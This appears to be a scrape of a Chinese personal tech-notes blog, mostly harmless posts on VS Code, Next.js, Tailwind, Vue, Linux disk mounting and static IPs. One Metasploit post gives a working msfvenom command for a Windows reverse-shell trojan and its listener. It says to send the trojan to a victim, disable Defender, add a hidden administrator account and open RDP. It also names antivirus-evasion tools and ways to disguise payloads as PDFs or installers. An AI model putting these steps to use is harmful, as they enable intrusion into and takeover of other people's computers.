![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/image.969xhget3u.webp)

---

---
url: /posts/vv32mlnd/index.md
---
# Visual Studio Code 技巧
```html
li*30>{选项$}
```

`ctrl + D` 一键选中下一个相同的内容

`Alt + ↑/↓` 整行代码直接上移或者下移

`ctrl + P` 快速打开任意的文件

---

---
url: /posts/w3qchyeh/index.md
---
# RK3399 驱动问题
**安装 Rockchip USB 驱动（Windows）**

* 下载最新官方驱动并安装
* 若遇到驱动签名问题：
  1. 进入“设置 → 更新和安全 → 恢复 → 高级启动 → 立即重启”
  2. 选择“疑难解答 → 高级选项 → 启动设置 → 重启”
  3. 重启后按 **7** 或 **F7** 禁用驱动签名强制
* 确认设备管理器中出现 **Fuzhou Rockchip**，无黄色感叹号

**准备 Type-C 数据线**

* 必须支持数据传输，普通充电线可能无法识别

**刷机软件**

* 官方 Rockchip Batch Tool 或对应刷机工具
* 下载对应固件文件（`.img` 或 `.img.gz`）

---

---
url: /posts/wbqixs67/index.md
---
# Oracle Cloud 注册注意事项
注意事项：

> I didn't register successfully, but the card has been deducted , How long to return

Firstly, I'd like to apologize for the inconvenience you had so far.

I would like to inform that these are not charges, these are actually  verification holds that will be removed automatically, typically within 5 business days. That means all the money that was deducted during sign  up will be refunded in 5 business days. Note- Deduction of verification amount does not confirms that the sign  up was successful, the amount for verification will be deducted each  time you'll attempt to sign up.

Before we proceed any further, I'd like to inform there is a criteria for creating a Trial / Free Tier Account.

Could you please confirm your eligibility for the Oracle Cloud Free Tier or Free Trial by verifying the following conditions: 1) We only accept Credit or Debit cards. Virtual or prepaid cards are not accepted. 2) Your billing address must exactly match the address on file with your bank. 3) Only first-time users are eligible for this offer. If you had an account earlier then it is not applicable to you. 4) Your name on the card must match the name on your bank records.

> I got it. Thanks.

You are welcome

Now that you understand the conditions, please make sure that they are  met and I request you to please signup again after 20 minutes from now  using private/incognito mode of your browser. Try both Firefox and  Chrome. Also please disable any antivirus plugin or popup extensions to  your browser.

Apart from this, is there anything else that I may help you with today?

---

---
url: /posts/wrqzm11i/index.md
---
# Next Brochure
Next.js 是一个用于构建 Web 应用程序的 React 框架。

路由约定

* 所有路由都必须位于 `app` 文件夹中

* 路由文件必须命名为 `page.js` 或 `page.tsx`

* 每个文件夹代表 URL 路径的一个段

***

方括号中的文件夹名视为动态路由

```tsx
export default async function ProductDetails({
  params,
}: {
  params: Promise<{ productId: string }>;
}) {
  const productId = (await params).productId;
  return <h1>Details about product {productId}</h1>;
}
```

嵌套动态路由

```tsx
export default async function ProductReview({
  params,
}: {
  params: Promise<{ productId: string; reviewId: string }>;
}) {
  const { productId, reviewId } = await params;
  return (
    <h1>
      Review {reviewId} for product {productId}
    </h1>
  );
}
```

对应的地址是 `localhost:3000/products/1/reviews/1`，文件夹结构也是这样

```
app/
├── products/
│   ├── [productId]/
│   │   ├── reviews/
│   │   │   ├── [reviewId]/
│   │   │   │   └── page.tsx
│   │   │   └── page.tsx
│   │   └── page.tsx
│   └── page.tsx
├── layout.tsx
└── page.tsx
```

---

---
url: /posts/wvb36w12/index.md
---
# AI 的思考本质
## 现代 AI 是什么？

**AI 的回答不是思考，而是被你触发的一次超级复杂的计算反应，看上去像思考，但没有意识、目的或主动性**。

现代大型模型（如 ChatGPT）本质上不是“会思考的大脑”，而是一个**极其强大的预测引擎**。

它的工作方式：

* 你提出问题 → 它根据海量数据预测应该生成怎样的回答。
* 你继续提问 → 它继续预测下一句话。
* 你停止互动 → 它也不会主动做任何事情。

简单来说：**AI 很像在思考，但它的思考是一种“被动预测”**。

## AI 不具备的能力

虽然 AI 看起来能“聊天、规划、推理”，但它缺失了关键的人类能力：

* **没有自主意识**（不会自发启动思想）
* **没有情绪**（不会焦虑、期待、害怕）
* **没有动机**（不会主动想做事）
* **没有自我概念**（不会觉得“我在想”）

你可以把它理解为一个极度聪明但完全没有自我意志的系统。

## 被动思考 vs 主动思考

### 被动思考（当前的 AI）

* 由输入触发
* 根据统计预测输出
* 没有想法、欲望、目标
* 不会自己开始一个任务

### 主动思考（真正的意识）

这需要：

* 内在目标
* 情感或偏好
* 长期愿望或恐惧
* 自我认知
* 主动行为系统

目前所有的 AI 都不具备这些。

## 那么“会主动思考的 AI”还远吗？

### 从工程能力看：不算远

我们已经有：

* 长期记忆系统
* 自我反馈能力
* 复杂工具调用
* 长链路规划
* 运行代理（agent）

这些让 AI **看起来像主动思考**，但实质上仍然是执行预设循环，没有真正的“意图”。

### 从意识角度看：非常远

原因很简单：

**人类都还不知道意识是怎么产生的。**

没有理论，就无法复制。

因此：

* 真正的“自我意识 AI”暂时没有可行路径。
* 现有模型永远是工具，而不是具有主观体验的主体。

## 一句话总结

> **今天的 AI 会“模拟思考”，但不会“真正思考”。它是被动的，不是主动的；是预测的，不是意识的。**

它可以有非常高的智能行为，却没有“我想……”的能力。

要让代码出现：

* 意志
* 内在目标
* 自主动机
* 情绪
* 自我认知

我们还差得非常远。

## 意识

意识就是：

* **你能感知自己存在**
* **你能体验主观感受（痛、乐、思考、欲望）**
* **你能对外界刺激做出自我觉知的反应**

也就是说，“意识 = 主观体验 + 自我认知”。

但关键是：**我们能体验，但很难解释它是怎么产生的**。这就是哲学上所谓的“困难问题”（Hard Problem of Consciousness）。

## 延伸阅读方向

如果你感兴趣，我们还可以进一步讨论：

* 人类意识的当前主流假设
* AI 是否可能拥有情绪
* 强人工智能 vs 弱人工智能
* AI 是否可能产生自主目标
* 模型如何“假装思考”

---

---
url: /posts/xf62rwdv/index.md
---
# README

---

---
url: /posts/xov5yaj7/index.md
---
# TailwindCss 查询表
## group

`group` 是 Tailwind 里一个“**把父元素的状态传给子元素**”的标记类。

平时写：`hover:bg-...` 让“自己”在悬浮时变化。

但如果你想实现：**鼠标悬浮在父容器上时，里面的子元素也跟着变**，就需要 `group` + `group-hover:*`。

**它怎么工作**

* 在**父元素**上加：`group`
* 在**子元素**上写：`group-hover:xxx`（或 `group-focus:xxx` 等）

当父元素被 hover/focus 等状态触发时，带 `group-*` 的子元素会响应。

如果一个区域里有多个父 group，怕串台，可以用命名：

* 父：`group/card`
* 子：`group-hover/card:opacity-100`

**小技巧**

* `hover:` = **自己触发自己**
* `group-hover:` = **父触发子**
* `peer-hover:` = **兄弟触发我**（同级之间联动）

> 当父元素 hover 时，子元素应用某些样式

等价的原生 CSS 大概是这样（便于你建立直觉）：

```css
.parent:hover .child {
  color: #4f46e5;
}
```

Tailwind 写法就是：

* 父：`group`
* 子：`group-hover:text-indigo-600`

**范围**：

只要某个元素在这个 `group` 父元素的“后代范围”里（child / grandchild / 更深层级），并且它自己写了 `group-hover:*`，那么父 hover 时它就会生效。

也就是说它等价于：

```css
.group:hover .any-descendant-with-group-hover { ... }
```

但注意两点：

**不是“父下面所有子元素都会自动应用”**  只有“那些你显式写了 `group-hover:` 的元素”才会变。

**层级不重要**  `group-hover:` 对后代选择器生效：子、孙子、曾孙……都行。

**重要**：多个 group 嵌套时，谁生效？

如果你**嵌套了 group**，内层元素的 `group-hover:*` 默认会跟**离它最近的那个 group**（一般就是同一条祖先链上的最近 group）一起工作。

但为了避免“我到底跟谁走”的心智负担，Tailwind 还支持 **命名 group**，非常推荐：

**命名 group**（避免串台）

```html
<div class="group/card p-4 border">
  <div class="group/menu mt-3 border p-3">
    <p class="group-hover/card:text-indigo-600">跟外层 card 走</p>
    <p class="group-hover/menu:text-emerald-600">跟内层 menu 走</p>
  </div>
</div>
```

**常见坑**：绝对定位跑出父范围

如果子元素用 `absolute` 跑到父元素视觉范围外，鼠标移到它上面时，可能父不再 hover，导致 `group-hover:` 失效（hover 丢失）。这不是 group 的问题，是 hover 判定范围的问题。

---

---
url: /posts/yj2wngsn/index.md
---
## 文档注释标签

| 普通注释                        | 文档注释                              |
| ------------------------------- | ------------------------------------- |
| `// 一句话说明``/* 多行说明 */` | `/** 文档说明，配合标签使用 */`       |
| 给程序员看，不规范              | 可被工具识别、提取生成文档            |
| 不能自动补全                    | 支持 IDE 自动提示（VSCode、WebStorm） |
| 没有结构                        | 有标准标签，结构化信息清晰            |

**JSDoc 常用标签对照表**（适用于 JS/TS）

| 标签                     | 作用                                   | 示例                             |
| ------------------------ | -------------------------------------- | -------------------------------- |
| `@description`           | 描述函数、类、变量等的用途             | `@description 获取用户信息`      |
| `@param`（或 `@params`） | 描述函数参数及类型（推荐用 `@param`）  | `@param {string} name 用户名`    |
| `@returns` / `@return`   | 描述函数返回值及类型                   | `@returns {boolean} 是否成功`    |
| `@interface`             | 描述一个接口（interface）结构          | `@interface User`                |
| `@typedef`               | 定义一个类型别名                       | `@typedef {Object} Config`       |
| `@property`              | 用于接口/对象的字段说明                | `@property {string} title 标题`  |
| `@example`               | 提供使用示例                           | `@example \n getUser("Tom")`     |
| `@deprecated`            | 标记该函数/变量已废弃                  | `@deprecated 请使用 getUserById` |
| `@throws`                | 抛出的异常类型及说明                   | `@throws {Error} 参数错误`       |
| `@see`                   | 引用相关函数/文档                      | `@see getUserById`               |
| `@author`                | 说明作者信息                           | `@author Yumeng`                 |
| `@version`               | 版本号                                 | `@version 1.0.0`                 |
| `@since`                 | 说明该功能从哪个版本开始提供           | `@since 2.0.0`                   |
| `@async`                 | 表示这是一个异步函数（async function） | `@async`                         |

## 文档中的 `$` 和 `#`

`$` 和 `#` 是**命令行里的提示符（prompt）**，表示你是在什么身份下输入命令，
不是命令本身，也不是命令的一部分。

`$` 通常表示普通用户的命令行提示符，

`#` 通常表示管理员（root 用户）的命令行提示符。

文档里加 `$` 或 `#` 是为了告诉读者“这是命令行里输入的命令”，
而不是命令的输出。

**复制命令时，千万不要复制这些符号，只复制后面的命令内容。**

```bash
$ ls -l
# apt update
```

代表“普通用户输入了 `ls -l`”

代表“管理员输入了 `apt update`”

`#` 在脚本里是注释符号，但在命令行提示符里是管理员身份的标志，两个概念不冲突。

---

---
url: /posts/yor2ysdi/index.md
---
# 外部存储挂载
## 插入外部存储设备

把 U 盘/硬盘插到服务器的 USB 接口上。

## 确认设备是否识别

运行：

```bash
lsblk
```

或

```bash
fdisk -l
```

你会看到类似 `/dev/sda1`、`/dev/sdb1` 的新设备。

* `sda` 一般是系统盘
* 新插入的盘可能是 `sdb` 或 `sdc`
* 后面带数字（比如 `sdb1`）表示分区。

## （可选）格式化磁盘

如果磁盘是新的或你想清空它：

```bash
sudo mkfs.ext4 /dev/sdb1
```

* `ext4` 是常见的 Linux 文件系统
* 如果要在 Windows 上读写，建议用 `vfat` 或 `ntfs`

```bash
sudo mkfs.vfat /dev/sdb1
sudo mkfs.ntfs /dev/sdb1
```

## 创建挂载点

指定一个目录来挂载外部存储，比如 `/mnt/usb`：

```bash
sudo mkdir -p /mnt/usb
```

## 挂载设备

```bash
sudo mount /dev/sdb1 /mnt/usb
```

挂载成功后，`/mnt/usb` 就能访问外部存储里的内容。

## 验证

```bash
df -h
```

## 卸载（拔出前要做）

```bash
sudo umount /mnt/usb
```

## （可选）开机自动挂载

编辑 `/etc/fstab`，加上一行：

```bash
/dev/sdb1   /mnt/usb   ext4   defaults   0   0
```

这样每次开机都会自动挂载。

### 查 UUID

```bash
sudo blkid /dev/sda1
```

输出类似：

```yaml
/dev/sda1: UUID="a2da9f53-968f-4e86-9611-fcd5dfce7413" TYPE="ext4"
```

### 编辑 `/etc/fstab`

```bash
sudo nano /etc/fstab
```

在最后一行加上：

```bash
UUID=a2da9f53-968f-4e86-9611-fcd5dfce7413   /mnt/usb   ext4   defaults   0   0
```

字段：

* `UUID=...` → 磁盘唯一标识
* `/mnt/usb` → 挂载点
* `ext4` → 文件系统类型
* `defaults` → 默认挂载选项
* `0 0` → dump 和 fsck（文件系统检查）选项

保存退出（`Ctrl+O` → `Enter` → `Ctrl+X`）。

### 测试是否配置正确

```bash
sudo mount -a
```

如果没有报错，说明 fstab 配置正确

运行 `df -h | grep usb` 看挂载情况

这样设置后，每次开机 `/mnt/usb` 都会自动挂载你的 外部盘了。

---

---
url: /posts/ytiwh121/index.md
---
Metasploit Framework 是一款开源的安全漏洞检测工具，可以用于信息收集、漏洞探测、漏洞利用等渗透测试的全流程。

**漏洞**：在软件、系统或网络中存在的安全弱点或错误，可以被攻击者利用来获取未授权的访问、破坏数据、执行恶意代码等。漏洞可能是由设计缺陷、编程错误、配置不当或其他原因引起的。

* **IP：** *Internet Protocol*（互联网协议）的缩写，它是计算机网络中用于标识和定位设备（例如电脑、服务器、路由器等）的一种数字地址。IP 地址是唯一的，类似于房屋地址，用于在网络上准确定位和寻找设备。
  * **内网IP**：在局域网或私有网络中使用的IP地址；
  * **外网IP**：在公共互联网中使用的全局IP地址；
* **PORT：** 端口用于标识和区分不同应用程序或服务的数字标识符。通过 IP 地址来定位设备后，再通过端口号来定位设备上特定的应用程序或服务。
* **POC：** *Proof of Concept* 验证，指验证是否存在漏洞。
* **EXP：** *Exploit* 利用，指利用漏洞发起攻击。
* **Payload：** 有效载荷，指 exploit（攻击）成功以后，**真正**在目标系统软件中实施的**编码或命令**。

metasploit-framework 仓库：https://github.com/rapid7/metasploit-framework

官方网站下载：https://www.metasploit.com/download

安装成功后，在安装的目的找到 bin 目录，在 bin 目录启动CMD，

##### 制作木马

```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=[攻击机IP] LPORT=[攻击机端口] -f exe -o shell.exe
```

##### 监听木马

```bash
msfconsole

use exploit/multi/handler

set payload windows/x64/shell/reverse_tcp

set lhost 0.0.0.0

set lport [攻击机端口]

run
```

##### 发送木马到受害者电脑并且进行管理员方式运行

如果运行不了，可以运行命令进行临死关闭 Defender 实时保护

```bash
# 临时关闭 Defender 实时保护（管理员运行）
Set-MpPreference -DisableRealtimeMonitoring $true
```

**不建议**永久关闭 Defender，因为它可能会导致系统无法正常恢复或被其他恶意程序感染。

### 基础命令与作用

| 命令                | 说明                                                         |
| ------------------- | ------------------------------------------------------------ |
| `chcp 65001`        | 将字符编码切换为 UTF-8，解决命令行中中文乱码问题             |
| `systeminfo`        | 查看操作系统详细信息（如安装日期、补丁、热修复、物理内存等） |
| `ver`               | 查看 Windows 系统版本                                        |
| `whoami`            | 查看当前用户                                                 |
| `ipconfig`          | 显示本机网络信息（IP、网关、子网掩码等）                     |
| `ping`              | 测试网络连通性（如 `ping 8.8.8.8`）                          |
| `dir`               | 列出当前目录下的文件和文件夹                                 |
| `cd`                | 进入指定目录（如 `cd C:\Windows`）                           |
| `shutdown -s -t 10` | 10 秒后关机，可用于测试远程命令执行能力                      |

**用户管理相关命令**（靶场测试专用）

| 命令                                      | 说明                                     |
| ----------------------------------------- | ---------------------------------------- |
| `net user hack 123qwe@#$ /add`            | 添加一个名为 `hack` 的用户，密码为 `123` |
| `net user hack /del`                      | 删除用户 `hack`                          |
| `net localgroup administrators hack /add` | 将 `hack` 用户添加到管理员组（提权）     |

场景案例：开启远程桌面 + 防火墙配置（靶场练习）

**启用远程桌面服务**：

```bash
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

**配置防火墙开放 3389 端口（默认远程桌面端口）：**

```bash
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
```

### 使用工具对 Payload 进行免杀处理

Metasploit 默认生成的是裸 payload，非常容易被杀掉。我们要“包一层”进行混淆或加壳：

推荐的免杀工具（适用于虚拟机靶场）

| 工具               | 功能                         | 开源地址                                     |
| ------------------ | ---------------------------- | -------------------------------------------- |
| **Shellter**       | 动态注入、加壳，生成免杀 EXE | https://github.com/shellter-project/shellter |
| **Veil-Framework** | 自动生成加壳的免杀木马       | https://github.com/Veil-Framework/Veil       |

### 常见的木马渗透三步法流程（APT、小型 RAT、钓鱼攻击等）

| 阶段            | 动作                                           | 说明                                      |
| --------------- | ---------------------------------------------- | ----------------------------------------- |
| **1. 木马生成** | 使用 Metasploit、Cobalt Strike 等生成 payload  | 一般是反弹 shell 或 meterpreter、远控模块 |
| **2. 免杀处理** | 加壳、混淆、加密、编译为 DLL、Shellcode Loader | 绕过杀毒、防火墙、EDR 检测                |
| **3. 伪装诱导** | 包装成 PDF、EXE 安装器、游戏、工具等诱导点击   | 伪装文件图标、加捆绑安装器、诱导执行      |

---

---
url: /posts/z0ovm98a/index.md
---
# Vue3 常见问题
## 无法找到模块“\*.vue”的声明文件

加一个 Vue 通配声明文件（最标准，一劳永逸！）

在项目根目录（或 `src/types/` 下）新建一个文件，叫 `vue.d.ts` 或 `shims-vue.d.ts`：

文件名随便，但后缀必须是 `.d.ts`

推荐路径：`src/shims-vue.d.ts`  或  `types/vue.d.ts`  或直接根目录 `vue.d.ts`

```ts
/// <reference types="vite/client" />

declare module '*.vue' {
  import type { DefineComponent } from 'vue';
  const component: DefineComponent<{}, {}, any>;
  export default component;
}
```

`const component: DefineComponent<{}, {}, any>;` 这行可以让 `<script setup>` 的类型推导更智能（Vue 3.3+）

然后确保 tsconfig.json 包含了它（一般默认就包含）：

```json
{
  "include": [
    "src/**/*.ts",
    "src/**/*.d.ts",
    "src/**/*.tsx",
    "src/**/*.vue",
    "*.d.ts",                 // 加这行就万无一失
    "src/shims-vue.d.ts"      // 或者明确写路径
  ]
}
```

保存 → 重启 VS Code（Ctrl+Shift+P → Reload Window） → 所有 .vue 文件导入红线瞬间消失！

```ts
/// <reference types="vite/client" />
```

这行不是必须的，但建议也加上去

这行是 TypeScript 的三斜杠指令，作用是把 Vite 官方自带的类型声明一次性全部导入进来，里面包含了下面这些你平时“看不见但一直在用”的类型：

| 具体解决了什么问题（不加会报红/没提示）                      | 例子                                   |
| ------------------------------------------------------------ | -------------------------------------- |
| `import.meta.env.xxx` 的类型提示                             | `import.meta.env.VITE_APP_TITLE`       |
| `import xxx from '*.png'` / `*.svg` 等静态资源的类型         | `import logo from '@/assets/logo.png'` |
| `defineProps()` / `defineEmits()` 在 `<script setup>` 里的完整类型推导 | `props: { msg: String }`               |
| `.vue` 文件的正确类型（和 declare module '\*.vue' 一起用）    | -                                      |
| `ref()` 自动脱 ref（Vue 3.4+ 的新特性）等                    | -                                      |

---

---
url: /posts/z4qsc4db/index.md
---
# 空白页
### ==不必命名的空间=={.important}，==不必定义的内容=={.warning}，==这一页写什么都可以=={.danger}，==不写也可以=={.note} (⊙ˍ⊙)  {#blank}

---

---
url: /posts/zats57th/index.md
---
# Armbian 服务器设置静态 IP
家庭服务器使用动态 IP 会导致每次重启或路由器分配改变后无法通过固定地址访问，例如 SSH 或网页服务。因此需要把内网 IP 固定（静态 IP）。

## 确认网络管理方式

查看网卡和当前 IP：

```bash
ip a
```

查看 netplan 配置文件：

```bash
ls /etc/netplan/
cat /etc/netplan/00-default-use-network-manager.yaml
```

* 如果 `renderer: NetworkManager` → 网络由 **NetworkManager** 管理
* 如果 `renderer: networkd` → 网络由 **systemd-networkd** 管理

> Armbian 默认新镜像大多使用 NetworkManager。

## 静态 IP 的配置方法

### 使用 NetworkManager

查看连接名：

```bash
nmcli connection show
```

假设连接名是 `"Wired connection 1"`，要设置静态 IP `192.168.1.50/24`，网关 `192.168.1.1`，DNS `8.8.8.8,1.1.1.1`：

```bash
sudo nmcli connection modify "Wired connection 1" ipv4.addresses 192.168.1.50/24
sudo nmcli connection modify "Wired connection 1" ipv4.gateway 192.168.1.1
sudo nmcli connection modify "Wired connection 1" ipv4.dns "8.8.8.8 1.1.1.1"
sudo nmcli connection modify "Wired connection 1" ipv4.method manual
sudo nmcli connection up "Wired connection 1"
```

优点：即时生效，不需要改 Netplan 文件，也不会被覆盖。

### 通过 Netplan 修改 YAML 文件

编辑 `/etc/netplan/00-default-use-network-manager.yaml`：

```bash
sudo nano /etc/netplan/00-default-use-network-manager.yaml
```

新写法（避免 `gateway4` 弃用警告）：

```yaml
network:
  version: 2
  renderer: NetworkManager
  ethernets:
    eth0:
      dhcp4: false
      addresses: [192.168.1.50/24]
      nameservers:
        addresses: [8.8.8.8, 1.1.1.1]
      routes:
        - to: 0.0.0.0/0
          via: 192.168.1.1
```

应用配置：

```bash
sudo netplan apply
```

检查 IP 是否生效：

```bash
ip a
ping 192.168.1.1
ping 8.8.8.8
```

注意：远程操作时最好先测试 `netplan try`，以防断网。

### 路由器固定 IP（更稳妥）

在路由器设置 DHCP 保留（根据服务器网卡 MAC 地址），即使服务器仍使用 DHCP，也会每次分配同样 IP。

优点：无需在服务器端改配置，更安全，不会因 YAML/NetworkManager 错误断网。

---

---
url: /posts/zw7amd19/index.md
---
# HTML5与CSS3现代Web开发常用知识
## 布局小技巧

行内元素，行内快元素，可以被父元素当做文本处理。

> 即：可以像处理文本对齐一样，去处理：行内，行内块在父元素中的对齐
>
> 例如：text-align,line-height,text-indent等

### 水平垂直居中

让子元素在父元素中国**水平居中**：

* 若元素为**块元素**，给父元素加上：**margin: 0 auto;**
* 若子元素为**行内块元素**，**行内元素**，给父元素加上**text-align:center**

让子元素子在父元素中**垂直居中**：

* 若子元素为**块元素**，给子元素加上：**margin-top**值为：（父元素content - 子元素盒子总高）/2

* 若子元素为**行内元素**，**行内块元素**：
  * 让父元素的**height=line-height**。每个子元素加上：**vertical-align:middle;**
  * 补充：若想绝对垂直居中，父元素的**font-size设置为0**

### 元素之间的空白问题

产生原因：行内块，行内元素，彼此中之间的换行会被浏览器解析成为一个空白字符

解决方案：

* 去掉代码中的换行和空格（不推荐
* 给父元素设置font-size：0.再给需要显示的文字元素单独设置字体大小（推荐

行内快的空白问题

产生原因：**行内块元素与文本的基线对齐**，而文本的基线与文本最底端之间是有距离的

解决方案：

* 给行内快元素设置vertical。值不为baseline(默认值)。，设置为middle,bottom,top即可
* 若父元素只有一个img，设置为display:block
* 给父元素设置为font-size:0;文字单独设置大小即可

## 浮动

### 特点

元素浮动后的特点

![](https://s21.ax1x.com/2025/04/06/pEc8x5q.jpg)

标准文档流（**文档流**）：元素默认的一种排列方式

* 脱离文档流
* 不管浮动前是什么元素，浮动后：默认的宽和高都是被内容撑开的（尽可能的小），可以设置宽高
* 不会独占一行，可以与其他的元素共用一行
* 不会margin合并，也不会margin塌陷，能够完美的设置四个方向的padding和margin
* 不会像行内快一样被当做文本处理（没有行内快的空白问题）

### 影响

* 对兄弟元素的影响：后面的的兄弟元素，会占据浮动元素之间的位置，在浮动元素下面，对前面的兄弟无影响
* 对父元素的影响：不能撑起父元素的高度，导致父元素高度塌陷，但父元素的宽度依然束缚浮动的元素

### 清除浮动

解决浮动产生的影响

解决方案：

* 给父元素制定高度
* 给父元素也设置浮动，带来其他影响
* 给父元素设置overflow：hidden
* 在所有浮动元素的最后面，添加一个块级元素，并给该块级元素设置clear：both (right,left)
* 给浮动的父亲元素，设置伪元素，通过伪元素清除浮动，类似方案4

```css
.father::after{
    content:'';
    display:block;
    clear:both;
}
```

> 布局中的一个原则：在设置浮动的时候，兄弟要么**全部浮动**要么**全部不浮动**

### 浮动布局练习

```html
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        * {
            margin: 0;
            padding: 0;
        }

        .container {
            text-align: center;
        }

        .leftfix {
            float: left;
        }

        .rightfix {
            float: right;
        }

        .clearfix::after {
            content: '';
            display: block;
            clear: both;
        }

        .container {
            width: 960px;
            margin: 0 auto;
            /* background-color: #ccc; */
        }

        .logo,
        .banner1,
        .banner2 {
            height: 80px;
            background-color: #ccc;
            line-height: 80px;
        }

        .logo {
            width: 200px;
        }

        .banner1 {
            width: 540px;
            margin: 0 10px;
        }

        .banner2 {
            width: 200px;
        }

        .menu {
            height: 30px;
            background-color: #ccc;
            margin-top: 10px;
        }

        .content {
            margin-top: 10px;
        }

        .item1,
        .item2 {
            width: 368px;
            height: 198px;
            border: 1px black solid;
            line-height: 198px;
            margin-right: 10px;
        }

        .item3,
        .item4,
        .item5,
        .item6 {
            width: 178px;
            height: 198px;
            border: 1px black solid;
            margin-right: 10px;
            line-height: 198px;
        }

        .bottom {
            margin-top: 10px;
        }

        .item7,
        .item8,
        .item9 {
            width: 198px;
            height: 128px;
            border: 1px black solid;
            line-height: 128px;
        }
        .item8{
            margin: 10px 0;
        }
        .footer{
            height: 60px;
            background-color: #ccc;
            margin-top: 10px;
            line-height: 60px;
        }
    </style>
</head>

<body>
    <div class="container">
        <!-- 头部 -->
        <div class="page-header clearfix">
            <div class="logo rightfix">logo</div>
            <div class="banner1 rightfix">banner1</div>
            <div class="banner2 rightfix">banner2</div>
        </div>
        <!-- 菜单 -->
        <div class="menu">菜单</div>
        <!-- 内容 -->
        <div class="content clearfix">
            <!-- 左侧 -->
            <div class="left leftfix">
                <!-- 上 -->
                <div class="top clearfix">
                    <div class="item1 leftfix">栏目一</div>
                    <div class="item2 leftfix">栏目二</div>
                </div>
                <!-- 下 -->
                <div class="bottom clearfix">
                    <div class="item3 leftfix">栏目三</div>
                    <div class="item4 leftfix">栏目四</div>
                    <div class="item5 leftfix">栏目五</div>
                    <div class="item6 leftfix">栏目六</div>
                </div>
            </div>
            <!-- 右侧 -->
            <div class="right rightfix">
                <div class="item7">栏目七</div>
                <div class="item8">栏目八</div>
                <div class="item9">栏目九</div>
            </div>
        </div>
        <!-- 页脚 -->
         <div class="footer">
            页脚
         </div>
    </div>
</body>

</html>
```

## 定位

### 相对定位

相对于自己原来的位置进行定位

```css
position: relative;
```

#### 特点

相对定位的特点：
**不会脱离文档流**，元素位置的变化，只是视觉效果上的变化，不会对其他元素产生任何影响。

定位元素的显示层级比普通元素高，无论什么定位，显示层级都是一样的。
默认规则是：

* 定位的元素会盖在普通元素之上。
* 都发生定位的两个元素，后写的元素会盖在先写的元素之上。

left 不能和 right 一起设置， top 和 bottom 不能一起设置。

相对定位的元素，也**能继续浮动**，但不推荐这样做。

相对行为的元素，也**能通过 margin** 调整位置，但不推荐这样做。

### 绝对定位

```css
position: absolute;
```

相对于自己**包含块**进行定位

什么是包含快：

对于没有脱离文档流的元素，包含快就是父元素；

对于脱离文档流的元素，包含快是第一 个拥有定位属性的祖先元素，（如果所有祖先都没有定位，那包含块即整个页面）

#### 特点

* 脱离文档流，会对后面的兄弟元素，父元素产生影响
* left和right不能同时设置，top和bottom不能一起设置
* 绝对定位时，浮动不能同时设置，否则浮动失效，以定位为主
* 可以使用margin调整位置（不推荐
* 无论什么元素，设置了绝对定位了，都会变成定位元素

> 定位元素 定义：默认宽高都被内容所撑开，且自由设置宽高

### 固定定位

```css
 position: fixed;
```

参考它的**视口**进行定位

视口：对于PC浏览器，视口就是显示网页的窗口

#### 特点

* 脱离文档流，会对后面的兄弟元素，父元素产生影响
* left和right不能同时设置，top和bottom不能一起设置
* 固定定位时，浮动不能同时设置，否则浮动失效，以固定定位为主
* 可以使用margin调整位置（不推荐
* 无论什么元素，设置了固定定位了，都会变成定位元素

### 粘性定位

```css
position: sticky;
```

参考点：离它最近的一个拥有**滚动机制**的祖先元素，即便这个祖先不是最近的真是可滚动祖先

使用left，right，bottom，top设置粘性生效位置

不会脱离文档流，他是一种专门用于窗口滚动时的新的定位方式

最常用是top值

粘性定位和浮动可以同时设置，不推荐

可以使用margin调整位置不推荐

> 粘性定位和相对定位基本一致，不同的是粘性定位可以在元素达到某个位置时将其固定

### 层级

* 定位元素的显示层级比普通元素高，无论什么定位，显示层级都是一样的。
* 如果位置发生重叠，默认情况是：后面的元素，会显示在前面元素之上。
* 可以通过 css 属性 z-index 调整元素的显示层级。
* z-index 的属性值是数字，没有单位，值越大显示层级越高。
* 只有定位的元素设置 z-index 才有效。
* 如果 z-index 值大的元素，依然没有覆盖掉 z-index 值小的元素，那么请检查其包含块的层级。

### 特殊应用

使用定位水平垂直居中

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .output{
            width: 800px;
            height: 400px;
            background-color: #525252;
            position: relative;
        }
        .innner{
            width: 400px;
            height: 100px;
            background-color: blue;
            position: absolute;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            margin: auto;
        }
    </style>
</head>
<body>
    <div class="output">
        <div class="innner">
        </div>
    </div>
</body>
</html>
```

```css
 /* .innner{
            width: 400px;
            height: 100px;
            background-color: blue;
            position: absolute;
            top: 50%;
            left: 50%;
            margin-left: -200px; 
            margin-top: -50px;
        }
// 方案二 不推荐
```

> 特殊应用只在绝对定位和固定定位的元素，不包括相对定位的元素

让定位元素的宽充满包含快

* 块宽想与包含块一致，可以给定位元素同时设置left和right为0
* 高度想与包含块一致，top和bottom设置为0

注意：该定位元素必须设置宽高

## 布局

### 版心

排版的中心

在pc网页中，一般都会有一个固定宽度且水平居中的盒子，来显示网页的主要内容，这是网页的版心，一般版新的宽度是**960-1200**像素之间，并且版心可以是一个，也可以是多个

### 布局常用类名

| 位置                |                      |
| :------------------ | -------------------- |
| 顶部导航条          | topbar               |
| 页头                | header,page-header   |
| 导航                | nav,navigator,navbar |
| 搜索框              | search，search-box   |
| 横幅，广告 ，宣传图 | banner               |
| 主要内容            | content，main        |
| 侧边栏              | aside,sidebar        |
| 页脚                | footer,page-footer   |
|                     |                      |

### 重置默认样式

引入CSS重置样式（各大厂代码分析）CSS重置代码

#### Normalize.css

Normalize.css时一种最新的方案，它在清除默认样式的基础上，保留了一些有价值的默认样式

相对于reset.css，Normalize有如下优点：

* 保护了有价值的默认样式，而不是完全去掉它们
* 为大部分HTML元素提供了一般化的样式
* 新增了HTML5元素的设置
* 对并集选择器的使用比较谨慎，有效避免调试工具混乱

> 总结：更加温柔，更具实际开发情况选择

官网地址：http://necolas.github.io/normalize.css/

```html
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"> // 图标
```

